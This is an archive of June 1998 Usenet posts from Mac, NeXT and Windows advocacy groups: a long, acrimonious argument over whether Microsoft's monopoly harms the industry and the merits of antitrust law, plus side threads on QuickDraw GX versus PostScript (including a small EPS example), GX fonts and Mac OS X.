>>>logic. No 'logic' is forthcoming from you, however. Would you step me
>>>through a proof of your prediction that 'hurting' Microsoft is
>>>beneficial to the computer industry?
You ability to _use_ logic is the only thing I have disparaged, Roger.
You follow it well. And as soon as we start using it, you start jumping
in with "prove it, prove it". Observe:
>>The industry thrives with competition.
>
>Among other things. Logic would dictate that you need to prove that
>competition is the primary driver in the this industry (as opposed to
>standards, etc.)
All industries thrive with competition, and don't thrive without; this
is the nature of commerce and capitalism. If you wish to jump out and
say "prove it", at least pick something where you have a chance of being
right. Now as for your spontaneous declaration that I must "prove" that
competition is the "primary driver" of the industry, I don't understand
why you think so. If it is a driver, my assertion, and therefore my
conclusion, still stand against Rogers Amazing Logical Assault.
I also have no need to entertain extraordinary and unsubstantiated
claims, like standards are the primary driver in an industry where
everybody _wants_ to be a proprietary system, and try hard to appear as
proprietary as possible without becoming incompatible.
>>Microsoft's monopoly suppresses or prevents competition.
>
>Assertion: Logic would dictate that you need to prove that MS
>suppresses or prevents competition successfully enough to negatively
>impact the industry.
Once again, I do not feel any great need to present the last hundred
years of debate, conclusions, and legal precedent validating the
assertion that monopolies suppress competition. Why would I need to
prove that this suppression itself negatively impacts the industry.
First, _any_ suppression of competition negatively impacts an industry
by definition, since an "industry" is the cooperative competition of
businesses serving a particular market. What test of sufficiency have
you suddenly decided I need? Once again, I refer you to the last six
months of posts in alt.destroy.microsoft. The number of ways that
Microsoft has suppressed competition are too many too enumerate here,
though if you insist we will start with the easy ones: per processor
licensing, Windows/DOS bundling, and development of Exchange.
>>Hurting Microsoft is therefore good for the industry.
>
>Nope. You've left out several steps in your proof.
Oddly enough, you didn't mention what you think they are. Monopolies
hurt the industry they are in. Microsoft has a monopoly. Removing
Microsoft's monopoly would benefit the industry. Which part didn't make
sense? Note that I am not asking which part you didn't agree with; I'm
not asking you to agree with my statements; I'm asking you to stop
annoying me by chanting over and over that they are not logical.
>And you have? * snort *
Well, yes I have. But let's pretend I'm not that much smarter than you
to begin with. Let's pretend I have the same delusions concerning my
ability to do logic, because I can remember the word "assertion", and
like to confuse proofs with chains of logical suppositions. Now I'm
ready to be impressed. Now I get to see how it is really done.
Finally, I am put in my place:
Enlighten me, Roger. Since I've noticed that, for all your blabbering,
you have never produced much more than a scrap of reasoned discussion,
please, please show me. Impart on us, if you could, one, single,
logical statement concerning computers and technology. Please.
Anything. If you can resist having to make it a snide comment, failing
to actually produce anything approaching a reasoned statement, I will
understand. But I'm hoping that you can surprise me and actually
present what you believe is a firm, reasonable, logical statement.
Please. I have much too learn, and am not too humble to learn from
anyone who can teach. Thank you.
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 14 Jun 1998 06:23:56 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35836C7C.DFFCE2B1@nstar.net>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <3591af5a.5318472@news.supernews.com> <357DEB64.6B62@CONVEX.COM> <35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net> <35e138b6.262092222@news.supernews.com>
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NNTP-Posting-Date: 14 Jun 1998 06:28:59 GMT
T. Max Devlin wrote:
[cut]
> I believe only a competitive market can serve the consumer's needs when
> it comes to such a mutable product as software, unless we want to be
> honest and treat it like a commodity, so it doesn't matter who made it.
> I believe the purpose of this case is to ensure the PC market provides
> competitive access to everyone, and not about how the browser integrates
> with the OS. Although the DoJ is using the browser example to indite
> Microsoft, the case is about anti-competitive business practices, not
> browser games.
Backing away from the clear-cut browser issue is only the least of what
I expect from your side of this conversation. Was this about the
DoJ/Microsoft case, or is it going to devolve into discussions of what
is *really* meant by this or that? Legal precedent is being set; I
personally couldn't care less about the back-and-forth eiogetical
conjecture of pundits.
> You insist, as has Roger, that my arguments rest entirely on my
> insistence that they are correct.
No, I insist that your arguments have little basis in fact. All evidence
is to the contrary, for instance, of your claim that "monopolies" behave
differently in the economy than do small companies. In fact, precisely
the same market forces that affect the small computing shop will come to
bear upon large companies.
> Let me clear up this misconception.
> When I teach I use a framework to explain to people how to know what
> "truth" is, in an environment which is infinitely mutable.
Right, and below is more of your discussion of philosophical models.
Unfortunately, you never describe your model, nor do you take into
account the fact that your arguments in this thread have been predicated
on *exceptions* rather than a consistent model:
<T. Max Devlin quote>
> Only that subset of those millions which are Microsoft. You still
> haven't gotten the hang of this anti-trust thing. There are certain
> actions that a non-monopoly can perform that a monopoly cannot.
</quote>
> This is what I teach them, and hopefully it might
> give you an idea why I feel confident that, unless you can directly
> refute my knowledge, understanding, or predictions, my own grasp of the
> issue is superior to yours:
I've already stated that the burden of refutation is upon your
shoulders. I advocate passive government, you advocate activism. You
must justify your proposed action. De facto activism is not justifiable.
> 1) It must be *accurate*, which is to say that your predictions must
> match reality.
I've already been more than generous with examples that demonstrate the
chasm between your model and the lessons of reality.
> 2) It must be *consistent*, meaning that it may not contradict any other
> concepts.
Consistency seems to be Job #2 for you in this thread.
> 3) It must be *practical*, which means that all rhetoric is wasted when
> it comes to technology. If your explanation matches reality, does not
> contradict any other concepts, and gets the job done, it is correct.
False. Multiple solutions may "get the job done", depending on how the
"job" is defined. Moreover, when the "job" is defined in terms of
inevitable fulfillment of your model, it's rather simple to claim
"practicality", isn't it? Clever stratagem: you make the blatant
assumption (hotly argued elsewhere) that the *long-term* will
demonstrate that hurting Microsoft will benefit the industry. Since you
cannot measure economic factors in two different realities (either
Microsoft is hurt or Microsoft is not hurt), and because "long-term" is
impossible to define (it gives you an indefinite period during which to
watch for an opportunistic moment to claim victory), the typical
activist response, after having performed the action prescribed by his
model, is to simply claim that the economy is doing better (than what?
one might ask) on the basis of unrelated factors and gloat that he has
been "practical", because (according to his loaded assumptions) he has
"gotten the job done". This is much like President Clinton claiming
credit for a growing economy which he did nothing to create (and which
he has done much to destroy).
[cut]
> So my point is that I have a lot of practice dealing with just the kind
> of issues involved here,
Which issues? I don't know what you're talking about, and you never
specify.
> and I'm really sorry if that means I believe my
> knowledge, experience, predictions, and explanations of these issues are
> superior to other's. I'm not going to apologize for being right, after
> all.
Of course not. You proudly display the colors of a true demagogue.
> The entire history of everything is full to overflowing with people on a
> mission. Some were right, some were wrong, all believed that their
> cause was correct. Hubris is a common failing when it gets in the way
> of learning.
This, of course, doesn't apply to you; you've finished with learning,
because you're already correct. Have I got this right?
Wait, I get it. You're being the devil's advocate for hubris, right?
That's so good! You had me fooled for a minute.
> Otherwise, it is simply common; everybody thinks they're
> right, and I'm not going to apologize for believing likewise. I have an
> edge, though. I am quite convinced that everyone _is_ right, if you
> understand their thinking.
Oooooh...
[cut]
> Some people, of course, insist on having their feelings hurt no matter
> how carefully you point out their error. When I am teaching, I usually
> just move on to the next thing, and try to get them to help me learn
> what is important to them, and how I can again try to teach them, as we
> proceed. But on Usenet, these people are trolls, and feel no guilt in
> disrupting civil discussions to salve their hurt feelings in finding out
> that something about their thinking is not accurate, consistent, or
> practical.
Wonderful theory. Here's mine: many people, upon finding that their
argument breaks down under scrutiny, and that they are stymied in their
attempts to post ridiculous crap all over USENET, resort to
psychological defenses: they make suppositions about their opponents'
psyches, they attribute feelings of guilt, fear, anger, and spite to
their opponents without provocation, and they post long diatribes about
how hard they are trying to convince people of the Truth, but people
just won't listen.
Responding in kind is usually counter-productive. These people usually
go away if you laugh in their faces, so here goes:
[chuckle]
It's been a long day, so kindly take care of business and wrap up the
filibuster. It's not like I haven't seen this kind of worming-about
before.
[cut]
> I have no idea why you mean by "being in defense of tradition, I have no
> need to make such demonstrations." This doesn't seem like a
> supportable position. I have been trying, through elucidation of my
> reasoning and descriptions of my experience, to satisfy your need for
> demonstrations of my ability to derive correct answers on the issues we
> address. These answers are accurate, consistent, and practical. None
> of this, however, relieves you of the necessity to refute, if you can,
> your position.
I don't need to refute my own position; that's not what I came here to
do. I came to refute *your* position.
> Simply relying on the fact that it is orthodox to ensure
> it is correct is not appropriate for serious matters.
My refutation rests in the fact that you are advocating pro-active
involvement in affairs which do not concern you. Unless you can
demonstrate an overriding moral imperative to do so, you've already
lost. You've already backed away from the browser issue; kindly make the
rest of your case.
> I'm sorry, I wasn't _comparing_ the two. I was asking what explanation
> you could provide for your contention that "The crux of the case is that
> Microsoft, in tying Internet Explorer to the Windows operating system,
> has leveraged *vendor dependence* on Windows,"
> [357C76BF.721F47E9@nstar.net] and why you believe that harm to computer
> OEMs is necessary. I didn't mean to relate the two directly. I would
> still like to know, if you would explain.
I can only guess at what you're asking, and hope that this helps: if
vendors depend on Microsoft, hurting Microsoft will hurt the vendors.
This is trivial.
[cut]
> I'm saying that none of these issues concerns me, and have no bearing on
> the Microsoft case. But I do thank you for so accurately (I assume)
> pointing out that Netscape has consistently taken such actions despite
> their existing market dominance, and we might want to find a practical
> way to discourage such predatory leveraging of a successful software
> product.
With what outcome?
> I feel no reservation in admitting that, in comparison
> to Microsoft, yes, Netscape is "the Good Guy". They even GPLed Mozilla.
> If you want to get my respect, and you develop software, GPL some code.
Unless you meant to add that all of this is irrelevant to your
arguments, then your objectivity (and consequently, all of your rhetoric
about "frameworks") is lost. What say you?
[cut]
> >1) Principles are immutable and just (Paine quote)
> Excuse me?
Gesundheit.
> >2) Some laws are unjust (Jim Crow laws example)
> I would say that, in the USA, laws are neither just nor unjust; it is
> the execution of these laws which is the justice or the injustice.
I'm eating this up, really. You say you used to be a libertarian?
Difficult to believe...
> The
> laws themselves are merely legislation. I will agree that laws can be
> good or bad, if you'd like.
What? Which is it? You said mere sentences ago that laws are neither
just nor unjust.
> >3) Some laws are mutable (Jim Crow laws example)
> All laws are mutable.
"Man cannot invent principles, he can only discover them". The Thomas
Paine quote, the veracity of which was an assumption in the logic of the
proof above. How do you reconcile your comment to this?
> >4) Some laws are not principled (1, 2, 3)
> How does whether some laws are not principled have anything to do with
> whether justice is served on the basis of legislation?
Because the Paine quote makes the assumption that there are Higher Laws
which define principle, according to which the justice of earthly laws
can be ascertained. I am no fan of relativism, Mr. Devlin, and neither
was Paine (as should be evident from the quote provided).
> You _said_ "if you think justice is served on the basis of legislation"
> (which I assumed to mean "if you think all laws are just", though that
> was a bit generous on my part, in retrospect), "review Jim Crow laws".
> It certainly appeared that you were saying "since Jim Crow laws are
> unjust, all laws are unjust", since all laws are based on legislation.
You mean that it "appeared" to you. I was, in fact, saying that the
counter-example of the Jim Crow laws disproves the assertion that
justice is served on the basis of legislation. Apologies, I made the
assumption that you were familiar with the principle of
counter-examples: a single counter-example is sufficient to disprove an
argument.
> In retrospect, I believe you meant "bad laws can be derived from
> majority consent", which I entirely agree with.
Where are *you* getting this stuff? When did I mention "majority
consent"? This is ridiculous.
> Now, _I_ already knew this at the beginning of the discussion. I'm not
> sure, but I suspect, that you did. Are we getting anywhere here?
> Instead of posting quotes from historical figures, and deriving your own
> unique understanding, AFAIK, of how they relate to the issues at hand,
> could you possibly try to refute my arguments, instead of dragging me
> into these long, self-absorbed, rambling, silly defensive rants?
[sigh] You argue like the bursts of a grapeshot cannon. How can I argue
with such obfuscated meandering? Like chasing a discharged smoke
grenade...
> I
> would invite you to try stating a basic explanation of why anti-trust
> laws are bad, and we will examine the explanation fairly and civilly to
> judge its accuracy, consistency, and practicality. I will also post an
> explanation, as soon as I see yours, of why anti-trust laws are good,
> and then we can play games with my concepts, too. Deal?
Absolutely not. I have no new arguments to make regarding the idiocy of
anti-trust law; those arguments have already been made quite capably by
the likes of von Mises and Rothbard. My intent is the application of
reason to the refutation of your argument, notably stemming from your
claims in the wake of "KAZ Vorpal"'s posting. I have exactly zero desire
to muddy the ideological waters by interjecting my restatement of
free-market views into the discussion, except as it is germane to the
refutation at hand.
> You are simply the interpreter. I disagree entirely with your depiction
> of the meaning of the Paine quote. You therefore speak on the basis of
> only your own authority. But that's OK, that's the way it always is.
> Why would our forbears, with the approximate knowledge base of a third
> grader, know better than you or I about anything? I have no complaint
> with their wisdom, I like the quote immensely, I just don't agree it
> substantiates your argument. Who told you that you could avoid speaking
> on your own authority. Especially on Usenet?
You'll have to forgive me if I insist on eschewing the hubris of which
you seem so fond. I do not agree with your complaint that every man is
enslaved to it. You may speak for yourself (as you obviously do).
> I wasn't the one who added the qualifier (I'm just defending his right
> to add it against the trolls), but I believe the original quote was "I
> believe it won't hurt the industry in the long term". Then you started
> quibbling about how dare he predict the long term, and this mess with
> babies coming to term is the result. But hey, that's a good three
> paragraphs I forced you to deal with instead of picking on some other
> poor sucker's wording....
So your object is to waste my time. I suspected as much.
> You seem to have succeeded in obfuscating the issue, but I'm just too
> stubborn to lie there and take it. You insist you can't say "harm in
> the long term", and your support was "you can't say 'pregnant in the
> long term' (though obviously you could).
No, I *did not*. I said that "long term" and "short term" were
orthogonal to the original question of pregnancy.
> I tried to clarify with
> "having a baby in the long term", and you jumped into chronological
> inferences.
Exactly: chronological considerations are incidental, not inherent to
the pregnancy question. Where is your logic, now, Mr. Devlin...?
> Well, it's another couple of paragraphs anyway. I've honestly gone over
> your attempts often enough to feel rather confident that you are full of
> it, at least on this point. But I'm almost positive that nobody else
> could care less, so I'm not going to continue trying to explain it.
Whistling in the dark...
> >Let's stick to the basic inference, and the basic fact: you don't have
> >the names of any such companies, and you still haven't produced any.
>
> Wow. Incredible. I DON'T KNOW the names of such companies. YOU ARE
> RIGHT! CONGRATULATIONS! Whaddayawant a friggen medal?
>
> I believe your inference is that because T. Max Devlin doesn't have a
> list of companies off the top of his head (though I do wonder if Stacker
> is still in business), that means that no companies have ever gone out
> of business because of Microsoft's anticompetitive business practices?
Return to your frameworks, Mr. Devlin. You claimed that consistent
evidence must support a model. Where, then, is your support? It seems
you have left your homework undone...
MJP
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 14 Jun 1998 06:30:02 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35836DEA.4A5CBA28@nstar.net>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <6lhoug$2jua@yuma.ACNS.ColoState.EDU> <357C76BF.721F47E9@nstar.net> <3592b27c.6120162@news.supernews.com> <6lrj04$hlm$15@gte1.gte.net> <35dc16d0.253413303@news.supernews.com>
Mime-Version: 1.0
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NNTP-Posting-Date: 14 Jun 1998 06:34:59 GMT
T. Max Devlin wrote:
> But I'm not hear to supply proof, I'm here to engage in
> intelligent discussion. If you can't keep up, I invite you to go browse
> the web instead of clogging up this newsgroup with your trolls.
Bah, you're running scared. You stand on completely foundationless
arguments, and when asked to substantiate you do two things: call your
opponent a troll and post long-winded commentary on irrelevant subjects.
I'm done with you. It takes all types on USENET, I suppose.
Unfortunately, that includes a generous helping of cowardly men like
yourself.
MJP
From: jdoherty@ix.netcom.com (John Doherty)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: Sun, 14 Jun 1998 02:07:09 -0500
Organization: (none)
Message-ID: <jdoherty-1406980207090001@san-tx3-06.ix.netcom.com>
References: <jdoherty-1306980119520001@aus-tx22-02.ix.netcom.com> <B1A80B05-45183@206.165.43.23>
In article <B1A80B05-45183@206.165.43.23>, "Lawson English"
<english@primenet.com> wrote:
| John Doherty <jdoherty@ix.netcom.com> said:
|
| >In article <ldo-1106981818050001@a7.hn3.wave.co.nz>,
| >ldo@geek-central.gen.new_zealand (Lawrence D?Oliveiro) wrote:
| >
| >| The PostScript graphics model was... designed for... making marks on
| >| paper, and that is the only application area in which it has had any
| >| success.
| >
| >Which means that it has had success in one more application than GX has
| >or ever will.
| >
|
| GX (or parts thereof) is installed on far, FAR more computers than DPS/PS
| ever has been or ever will be.
Let's eliminate DPS here, and consider the statement again:
GX (or parts thereof) is installed on far more computers than the
number of computers that can produce PostScript files.
Is that statement true? Obviously, it isn't. The number of computers
on which GX is installed is simply insignificant for any practical
purpose.
Let's make the statement a little more broad:
GX (or parts thereof) is installed on far more computers than the
number of computers that can both produce and consume PostScript.
Is that statement true? Obviously, it isn't.
Now, if we add DPS back into the equation, GX only looks worse. The number
of computers that can produce PS + the number of computers that can consume
PS + the number of computers that run DPS is enormously greater than the
number the number of computers that run GX.
That statement is true.
From: Kari L Beischer <kari@gti.net>
Newsgroups: comp.sys.next.advocacy
Subject: Mac OS X Confusion
Date: 14 Jun 1998 07:05:47 GMT
Organization: The World's Usenet -- http://www.Supernews.com
Message-ID: <6lvsob$ni$1@supernews.com>
Maybe Don Crabb knows something we don't, then again maybe not:
http://www.maccentral.com/features/crabbsapple.shtml
When answering a question as to why MacOSX can't be a server OS he
does a vague buzz word dance of why it won't fit the bill. As far
as I understand it, he's quite wrong. MacOSX is Rhapsody 2.0.
It's core OS is the same and ought to be able to have all the unix
goodies tossed in. Scaling has nothing to do with AppleShare junk,
but the core, no? The bottom line is that MacOSX is Rhapsody, plus
the extra carbon libraries for transparent compatibility and now
DPS will be PDF'd. That seems to change little to nothing of the
OS's server abilities. Then again, maybe I'm missing something
very basic here?
--
Thanks, Kari Beischer
____________________________________________________________________
AT&T ASCII, MIME, PGP, SUN, & NeXTmail OK
Systems mailto:kari@gti.net
Development to want is natural, to need is negotiable...
____________________________________________________________________
Opinions expressed are mine, not those of my employer...
From: thewhistler@sprintmail.com (Paul E Larson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 14 Jun 1998 06:29:00 GMT
Organization: EarthLink Network, Inc.
Message-ID: <6lvqnc$ff9$1@chile.it.earthlink.net>
References: <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <3591af5a.5318472@news.supernews.com> <357DEB64.6B62@CONVEX.COM> <35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net> <6lpvl2$26g6@yuma.ACNS.ColoState.EDU> <35809E8C.8E3F239A@nstar.net> <6lqjii$1dmi@yuma.ACNS.ColoState.EDU> <35812C92.20DA6D16@nstar.net> <6ls4hn$ga6@yuma.ACNS.ColoState.EDU> <3581A52E.9FD3DB3C@nstar.net> <35e35156.268398126@news.supernews.com>
In article <35e35156.268398126@news.supernews.com>, mdevlin@eltrax.com (T. Max Devlin) wrote:
>"Michael J. Peck" <mjpeck@nstar.net>, on Fri, 12 Jun 1998 22:01:18
>>>
>>> MS compells and constrains OEMs to sell ONLY MS operating systems.
>>
>>No, it does not. Read the licensing agreements. OEMs are in *no way*
>>forced to sell MS operating systems. VA Research is only one example of
>>an OEM that does NOT sell MS operating systems.
>
>The license agreement is what is negotiated after the compelling and
>constraining by a monopoly supplier is done. Notice how VA Research is
>_only one example of an OEM managing to stay profitable without Windows,
>and they happen to be the only example I have ever heard of, despite the
>routine cross-posts to Linux and NT advocacy groups in these threads.
>
Varesearch does give the option to buy and have installed Microsoft OS's, but
they also have the option to install Linux on the systems they sell. As to
other companies, http://www.linux.org/vendors/systems.html has a list of them.
How profitable they are is something I don't know. But in the US alone their
is a large list of them.
Paul
From: rtbrunne@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: Sun, 14 Jun 1998 07:06:13 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6lvsp5$ut9$1@nnrp1.dejanews.com>
References: <6lu569$ndd$1@ironhorse.plsys.co.uk> <B1A80CB0-4B5EE@206.165.43.23>
Lawson English <english@primenet.com> wrote:
> An overlapping set of shapes taht are transparent need to be converted into
> a set non-overlapping, opaque shapes of equivalent colors if you want
> resolution-independence. Does your solution do this for any arbitrary set
> of shapes? If it does, then it is using the same strategy that GX uses,
> which is to determine the overlap and create a new set of non-overlapping
> shapes based on the intersections of the overlapping shapes. This requires
> operators that aren't available in DPS and weren't made available for until
> Rhapsody's geometric operators came into being.
I have no idea what these "Rhapsody's geometric operators" are supposed to
be, but marking the intersection or difference of arbitrary paths is possible
in PostScript. Below is an example of an EPS file that does that: It creates
two paths (circles A and B) and fills (A without B), (B without A) and (A
intersect B) in different colors.
----- Begin File "Intersect.eps" -----
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: 0 0 300 200
%%EndComments
/CircleA { 180 100 moveto 100 100 80 0 360 arc closepath } def
/CircleB { 280 100 moveto 200 100 80 0 360 arc closepath } def
gsave CircleA CircleB eoclip newpath
0.75 setgray CircleA fill
0.25 setgray CircleB fill
grestore
gsave CircleA clip newpath
0.50 setgray CircleB fill
grestore
showpage
%%EOF
----- End File -----
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: jdoherty@ix.netcom.com (John Doherty)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: Sun, 14 Jun 1998 02:13:15 -0500
Organization: (none)
Message-ID: <jdoherty-1406980213150001@san-tx3-06.ix.netcom.com>
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23>
In article <B1A80B74-46BBE@206.165.43.23>, "Lawson English"
<english@primenet.com> wrote:
| WHAT? The largest-growing segment of the computer industry is the home
| market, where the availability of games is all-important. Mind you,
| this has very little to do with GX
You can worry about games if you want, but as you point out, games have
nothing to do with this discussion.
Do you play games with your computers, Lawson? I don't. Do you get paid
to do whatever it is you do with your computers? I do. Do you care whether
your computer is good for playing games? I don't.
Do you think Apple should stake their future on people who use computers
to play games? I don't.
Do you think discussing games has any relevance here? I don't.
From: jdoherty@ix.netcom.com (John Doherty)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Font formats (was OS strategy)
Date: Sun, 14 Jun 1998 02:24:44 -0500
Organization: (none)
Message-ID: <jdoherty-1406980224450001@san-tx3-06.ix.netcom.com>
References: <nagleEuI1un.40t@netcom.com> <B1A8043E-2B9E6@206.165.43.23>
In article <B1A8043E-2B9E6@206.165.43.23>, "Lawson English"
<english@primenet.com> wrote:
| That's the ONLY difference between T1 fonts and GXified T1 fonts that I
| know of
The most important difference I know of between T1 fonts and GX fonts
is that you can actually buy thousands of T1 fonts, and you could only
ever buy about 40 GX fonts.
I'm not even sure you can buy most of those anymore. Does Linotype
still sell their GX core set?
If you want to use thousands of fonts for some reason, and you also
want to use GX for some other weird reason, you're going to have
GX-ify the vast majority of your fonts yourself. There is no good
reason to do that, since the only apps that support GX fonts any
better than they support T1 fonts are ridiculous jokes.
So given thousands of T1 fonts, you could GX-ify them if you wanted,
but it would be a complete waste of time.
From: jdoherty@ix.netcom.com (John Doherty)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: Sun, 14 Jun 1998 02:32:16 -0500
Organization: (none)
Message-ID: <jdoherty-1406980232160001@san-tx3-06.ix.netcom.com>
References: <jdoherty-1306980136470001@aus-tx22-02.ix.netcom.com> <B1A80BA0-4760F@206.165.43.23>
In article <B1A80BA0-4760F@206.165.43.23>, "Lawson English"
<english@primenet.com> wrote:
| John Doherty <jdoherty@ix.netcom.com> said:
|
| >In article <B1A6C85C-573CB@206.165.43.8>, "Lawson English"
| ><english@primenet.com> wrote:
| >
| >| The GX pen plotter driver supports the concept of approximating
| >transparent
| >| color.
| >
| >And how many people who get paid to use plotters give a shit about that?
|
| Those that try to print images that contain transparent overlapping shapes?
That's not an answer, it's just a rephrasing.
Of the people who get paid to use plotters, how many want to print
images that contain transparent overlapping shapes? How exactly do
you intend to print such images given a plotter using pens that do
not contain transparent inks? How many plotters are you aware of that
do use pens containing transparent inks? For that matter, how many
transparent inks are you aware of?
Ink on paper is my business, Lawson, and one thing I've noticed is that
ink isn't transparent.
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Confusion
Date: Sun, 14 Jun 1998 00:35:55 +0100
Organization: EarthLink Network, Inc.
Message-ID: <35830CD7.3AB4@earthlink.net>
References: <6lvsob$ni$1@supernews.com>
Mime-Version: 1.0
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To: kari@gti.net
Kari L Beischer wrote:
> MacOSX is Rhapsody 2.0.It's core OS is the same and ought to be able to
> have all the unix goodies tossed in. Scaling has nothing to do with AppleShare
> junk, but the core, no? The bottom line is that MacOSX is Rhapsody, plus
> the extra carbon libraries for transparent compatibility and now
> DPS will be PDF'd.
While I agree with you that Mac OS X is Rhapsody 2.0, if it doesn't run
on pre-G3 machines, it won't do much good for those of us who are
running the earlier PPC's. I hope they decide to support non G3's so I
will have a future with Mac OS X after Rhapsody.
Steve
From: dnpibel <dnpibel@prodigy.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 14 Jun 1998 01:48:45 -0700
Organization: Utter dis
Message-ID: <35838E6D.3368@prodigy.net>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <3591af5a.5318472@news.supernews.com> <357DEB64.6B62@CONVEX.COM> <35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net> <35e138b6.262092222@news.supernews.com> <35836C7C.DFFCE2B1@nstar.net>
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Michael J. Peck wrote:
> eiogetical
Is this supposed to be "eisegetical"? "Eiogetical" didn't make it into
the Random House Unabridged. Honest question. You made me open my
dictionary.
> No, I insist that your arguments have little basis in fact. All evidence
> is to the contrary, for instance, of your claim that "monopolies" behave
> differently in the economy than do small companies. In fact, precisely
> the same market forces that affect the small computing shop will come to
> bear upon large companies.
Really? Isn't Micros**t's entry into the browser market an example of
the untruth of that proposition? Vide:
Netscape cannot bring to bear on Micros**t the advantage of tying its
browser to a pre-existing OS base. It is a literal impossibility. The
only out I can see for you is to declare that Micros**t's tying is not a
market force. If it is not, what is it?
Also, what about the concept of giving away the product? A large company
may have sufficient capital to give away its product (see, e.g., IE). A
small shop does not have the ability to bring that force to bear upon
its large competitor. I realize that Netscape is now giving away its
browser. It remains to be seen whether Netscape remains a viable entity;
it's clear that, if it does, it will not be because of its browser. For
those of you (and I do not recall if Mr. Peck is included in this group)
who contiuously crow, "But Netscape's still in *business*," they are not
anymore in the business of making money by selling their browser. This
seems to me another example of a market force which will not "come to
bear upon larger companies." Please let me know what I'm missing here.
The latter example seems to me particularly troubling for an Austrian
economist, who assumes the existence of profit-making opportunities,
which will be pounced upon by entrepreneurs, the engine driving the
discovery process of the free market. If one market player makes its
business of removing those profit-making opportunities (how, pray tell,
do you offer a better deal than a free browser? A better browser might
do it, but for the fact that you have to be prepared to give it away,
which offers very little incentive for the profit-seeking entrepreneur),
then how is the discovery process going to work? What's to discover, if
the price is zero?
Of course, we don't believe that the true price of IE will remain at
zero, do we? Micros**t, wouldn't you think, will recapture that cost
either with an unnecessary "upgrade" or through money made through
control of access to the internet.
Why can Micros**t do this? Precisely because it can bring to bear on its
competitors market forces which the competitors cannot reciprocate.
I guess there's one more way to make sense of what you say: If by saying
"will come to bear," you mean to indicate that, left to its own devices,
the market will finally sort it all out. As in, someday, somebody's
bound to come up with such a killer app that people will pay money for
it, even if Micros**t's giving its product away. If that is what you
mean, then I believe that your optimism is every bit as ethereal as the
catastrophism of which people supporting the DOJ suit are accused.
Doug
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Sun, 14 Jun 1998 07:22:45 -0300
Organization: ISINet, Nova Scotia
